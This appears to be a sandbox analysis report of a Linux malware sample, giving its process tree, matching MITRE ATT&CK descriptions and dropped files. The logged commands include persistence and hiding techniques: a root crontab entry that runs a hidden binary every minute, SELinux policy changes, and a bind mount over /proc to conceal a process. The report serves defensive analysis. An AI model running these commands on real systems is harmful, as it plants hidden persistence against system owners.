Path:	/tmp/Xq5coKA8BI.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: bash PID: 5539, Parent PID: 5477

General

Start time (UTC):	03:00:24
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	/bin/bash -c "cd /boot;ausearch -c 'System.mod' --raw \| audit2allow -M my-Systemmod;semodule -X 300 -i my-Systemmod.pp"
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: bash PID: 5544, Parent PID: 5539

General

Start time (UTC):	03:00:24
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: bash PID: 5545, Parent PID: 5539

General

Start time (UTC):	03:00:24
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: bash PID: 5546, Parent PID: 5539

General

Start time (UTC):	03:00:24
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: Xq5coKA8BI.elf PID: 5547, Parent PID: 5477

General

Start time (UTC):	03:00:24
Start date (UTC):	02/11/2024
Path:	/tmp/Xq5coKA8BI.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: bash PID: 5547, Parent PID: 5477

General

Start time (UTC):	03:00:24
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	/bin/bash -c "echo \"/1 * * * root /.mod \" >> /etc/crontab"
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: Xq5coKA8BI.elf PID: 5552, Parent PID: 5477

General

Start time (UTC):	03:00:26
Start date (UTC):	02/11/2024
Path:	/tmp/Xq5coKA8BI.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: renice PID: 5552, Parent PID: 5477

General

Start time (UTC):	03:00:26
Start date (UTC):	02/11/2024
Path:	/usr/bin/renice
Arguments:	renice -20 5477
File size:	14568 bytes
MD5 hash:	3686c936ed1df483498266a36871cb5b

Chronological Activities

Analysis Process: Xq5coKA8BI.elf PID: 5554, Parent PID: 5477

General

Start time (UTC):	03:00:26
Start date (UTC):	02/11/2024
Path:	/tmp/Xq5coKA8BI.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: mount PID: 5554, Parent PID: 5477

General

Start time (UTC):	03:00:26
Start date (UTC):	02/11/2024
Path:	/usr/bin/mount
Arguments:	mount -o bind /tmp/ /proc/5477
File size:	55528 bytes
MD5 hash:	92b20aa8b155ecd3ba9414aa477ef565

Chronological Activities

Analysis Process: Xq5coKA8BI.elf PID: 5580, Parent PID: 5477

General

Start time (UTC):	03:00:26
Start date (UTC):	02/11/2024
Path:	/tmp/Xq5coKA8BI.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: service PID: 5580, Parent PID: 5477

General

Start time (UTC):	03:00:26
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	service cron start
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5582, Parent PID: 5580

General

Start time (UTC):	03:00:26
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: basename PID: 5582, Parent PID: 5580

General

Start time (UTC):	03:00:26
Start date (UTC):	02/11/2024
Path:	/usr/bin/basename
Arguments:	basename /usr/sbin/service
File size:	39256 bytes
MD5 hash:	3283660e59f128df18bec9b96fbd4d41

Chronological Activities

Analysis Process: service PID: 5583, Parent PID: 5580

General

Start time (UTC):	03:00:26
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: basename PID: 5583, Parent PID: 5580

General

Start time (UTC):	03:00:26
Start date (UTC):	02/11/2024
Path:	/usr/bin/basename
Arguments:	basename /usr/sbin/service
File size:	39256 bytes
MD5 hash:	3283660e59f128df18bec9b96fbd4d41

Chronological Activities

Analysis Process: service PID: 5584, Parent PID: 5580

General

Start time (UTC):	03:00:26
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5584, Parent PID: 5580

General

Start time (UTC):	03:00:26
Start date (UTC):	02/11/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl --quiet is-active multi-user.target
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: service PID: 5585, Parent PID: 5580

General

Start time (UTC):	03:00:26
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5586, Parent PID: 5585

General

Start time (UTC):	03:00:26
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5586, Parent PID: 5585

General

Start time (UTC):	03:00:26
Start date (UTC):	02/11/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl list-unit-files --full --type=socket
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: service PID: 5587, Parent PID: 5585

General

Start time (UTC):	03:00:26
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sed PID: 5587, Parent PID: 5585

General

Start time (UTC):	03:00:26
Start date (UTC):	02/11/2024
Path:	/usr/bin/sed
Arguments:	sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p
File size:	121288 bytes
MD5 hash:	885062561f66aa1d4af4c54b9e7cc81a

Chronological Activities

Analysis Process: systemctl PID: 5580, Parent PID: 5477

General

Start time (UTC):	03:00:28
Start date (UTC):	02/11/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl start cron.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: Xq5coKA8BI.elf PID: 5610, Parent PID: 5477

General

Start time (UTC):	03:00:28
Start date (UTC):	02/11/2024
Path:	/tmp/Xq5coKA8BI.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: systemctl PID: 5610, Parent PID: 5477

General

Start time (UTC):	03:00:28
Start date (UTC):	02/11/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl start crond.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: systemd PID: 5512, Parent PID: 5511

General

Start time (UTC):	03:00:23
Start date (UTC):	02/11/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 5512, Parent PID: 5511

General

Start time (UTC):	03:00:23
Start date (UTC):	02/11/2024
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: systemd PID: 5516, Parent PID: 5515

General

Start time (UTC):	03:00:23
Start date (UTC):	02/11/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 5516, Parent PID: 5515

General

Start time (UTC):	03:00:23
Start date (UTC):	02/11/2024
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: systemd PID: 5519, Parent PID: 1

General

Start time (UTC):	03:00:23
Start date (UTC):	02/11/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: udisksd PID: 5567, Parent PID: 802

General

Start time (UTC):	03:00:26
Start date (UTC):	02/11/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5567, Parent PID: 802

General

Start time (UTC):	03:00:26
Start date (UTC):	02/11/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: systemd PID: 5600, Parent PID: 1

General

Start time (UTC):	03:00:28
Start date (UTC):	02/11/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: cron PID: 5600, Parent PID: 1

General

Start time (UTC):	03:00:28
Start date (UTC):	02/11/2024
Path:	/usr/sbin/cron
Arguments:	/usr/sbin/cron -f
File size:	55944 bytes
MD5 hash:	2c82564ff5cc862c89392b061c7fbd59

Chronological Activities

Analysis Process: cron PID: 5652, Parent PID: 5600

General

Start time (UTC):	03:01:01
Start date (UTC):	02/11/2024
Path:	/usr/sbin/cron
Arguments:	-
File size:	55944 bytes
MD5 hash:	2c82564ff5cc862c89392b061c7fbd59

Chronological Activities

Analysis Process: cron PID: 5658, Parent PID: 5652

General

Start time (UTC):	03:01:01
Start date (UTC):	02/11/2024
Path:	/usr/sbin/cron
Arguments:	-
File size:	55944 bytes
MD5 hash:	2c82564ff5cc862c89392b061c7fbd59

Chronological Activities

Analysis Process: sh PID: 5658, Parent PID: 5652

General

Start time (UTC):	03:01:01
Start date (UTC):	02/11/2024
Path:	/bin/sh
Arguments:	/bin/sh -c "/.mod "
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5659, Parent PID: 5658

General

Start time (UTC):	03:01:01
Start date (UTC):	02/11/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: .mod PID: 5659, Parent PID: 5658

General

Start time (UTC):	03:01:01
Start date (UTC):	02/11/2024
Path:	/.mod
Arguments:	/.mod
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: .mod PID: 5660, Parent PID: 5659

General

Start time (UTC):	03:01:01
Start date (UTC):	02/11/2024
Path:	/.mod
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: systemd PID: 5681, Parent PID: 1

General

Start time (UTC):	03:01:02
Start date (UTC):	02/11/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: cron PID: 5681, Parent PID: 1

General

Start time (UTC):	03:01:02
Start date (UTC):	02/11/2024
Path:	/usr/sbin/cron
Arguments:	/usr/sbin/cron -f
File size:	55944 bytes
MD5 hash:	2c82564ff5cc862c89392b061c7fbd59

Chronological Activities

Analysis Process: cron PID: 5713, Parent PID: 5681

General

Start time (UTC):	03:02:01
Start date (UTC):	02/11/2024
Path:	/usr/sbin/cron
Arguments:	-
File size:	55944 bytes
MD5 hash:	2c82564ff5cc862c89392b061c7fbd59

Chronological Activities

Analysis Process: cron PID: 5721, Parent PID: 5713

General

Start time (UTC):	03:02:01
Start date (UTC):	02/11/2024
Path:	/usr/sbin/cron
Arguments:	-
File size:	55944 bytes
MD5 hash:	2c82564ff5cc862c89392b061c7fbd59

Chronological Activities

Analysis Process: sh PID: 5721, Parent PID: 5713

General

Start time (UTC):	03:02:01
Start date (UTC):	02/11/2024
Path:	/bin/sh
Arguments:	/bin/sh -c "/.mod "
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5722, Parent PID: 5721

General

Start time (UTC):	03:02:01
Start date (UTC):	02/11/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: .mod PID: 5722, Parent PID: 5721

General

Start time (UTC):	03:02:01
Start date (UTC):	02/11/2024
Path:	/.mod
Arguments:	/.mod
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: .mod PID: 5723, Parent PID: 5722

General

Start time (UTC):	03:02:01
Start date (UTC):	02/11/2024
Path:	/.mod
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: systemd PID: 5742, Parent PID: 1

General

Start time (UTC):	03:02:01
Start date (UTC):	02/11/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: cron PID: 5742, Parent PID: 1

General

Start time (UTC):	03:02:01
Start date (UTC):	02/11/2024
Path:	/usr/sbin/cron
Arguments:	/usr/sbin/cron -f
File size:	55944 bytes
MD5 hash:	2c82564ff5cc862c89392b061c7fbd59

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shell s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system ( `/etc` ) and the user’s home directory ( `~/` ) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation
Platforms:	Linux, macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Creation, File: File Metadata, File: File Modification, Firmware: Firmware Modification, Process: OS API Execution, Process: Process Creation, Script: Script Execution, Service: Service Creation, User Account: User Account Creation, User Account: User Account Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.
Tactics:	Impact
Data Sources:	File: File Creation, File: File Deletion, File: File Metadata, File: File Modification, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report Xq5coKA8BI.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/.mod

/etc/.walk

/etc/32676

/etc/crontab

/etc/init.d/acpid

/etc/init.d/alsa-utils

/etc/init.d/anacron

/etc/init.d/apparmor

/etc/init.d/apport

/etc/init.d/avahi-daemon

/etc/init.d/binfmt-support

/etc/init.d/bluetooth

/etc/init.d/console-setup.sh

/etc/init.d/cron

/etc/init.d/cryptdisks

/etc/init.d/cryptdisks-early

/etc/init.d/cups

/etc/init.d/cups-browsed

/etc/init.d/dbus

/etc/init.d/gdm3

/etc/init.d/hddtemp

/etc/init.d/hwclock.sh

/etc/init.d/irqbalance

/etc/init.d/iscsid

/etc/init.d/keyboard-setup.sh

/etc/init.d/kmod

/etc/init.d/lightdm

/etc/init.d/lm-sensors

/etc/init.d/lvm2-lvmpolld

Linux Analysis Report
Xq5coKA8BI.elf